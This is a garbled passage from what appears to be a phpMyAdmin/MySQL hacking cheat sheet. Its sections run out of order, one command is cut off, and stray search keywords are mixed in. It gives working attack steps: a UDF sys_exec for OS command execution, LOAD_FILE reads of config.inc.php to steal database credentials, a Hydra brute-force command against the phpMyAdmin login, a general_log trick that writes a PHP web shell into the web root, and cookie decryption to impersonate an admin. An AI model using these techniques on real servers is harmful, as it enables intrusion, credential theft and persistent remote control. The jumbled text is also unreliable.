CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so'; SELECT sys_exec('id'); Requires plugin directory write access. Most shared hosting disables this. Part 4: Privilege Escalation via phpMyAdmin Itself 4.1 Config File Disclosure The config.inc.php file contains database credentials and sometimes auth keys.
LOAD_FILE('/etc/phpmyadmin/config.inc.php'); Look for $cfg['Servers'][$i]['password'] . If $cfg['blowfish_secret'] is weak or default, you can decrypt session cookies and impersonate admin. phpmyadmin hacktricks verified
Use Hydra or a simple Python script. A one-liner: LOAD_FILE('/etc/phpmyadmin/config
hydra -l root -P /usr/share/wordlists/fasttrack.txt target http-post-form "/phpmyadmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1:token" Rate-limit warning: phpMyAdmin 5.0+ introduces brute-force protection via $cfg['LoginCookieValidity'] , but default is 1800 seconds – still bypassable with slow brute force. In phpMyAdmin 4.8.0–4.8.4, an LFI vulnerability allowed attackers to read arbitrary files without logging in. SET GLOBAL general_log_file = '/var/www/html/shell.php'
SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; SELECT "<?php system($_GET['c']); ?>"; -- This gets written to log file Requires MySQL SUPER privilege (often given to root user in phpMyAdmin). 3.3 User-Defined Functions (UDF) for Persistent Shell Create a MySQL UDF that executes system commands.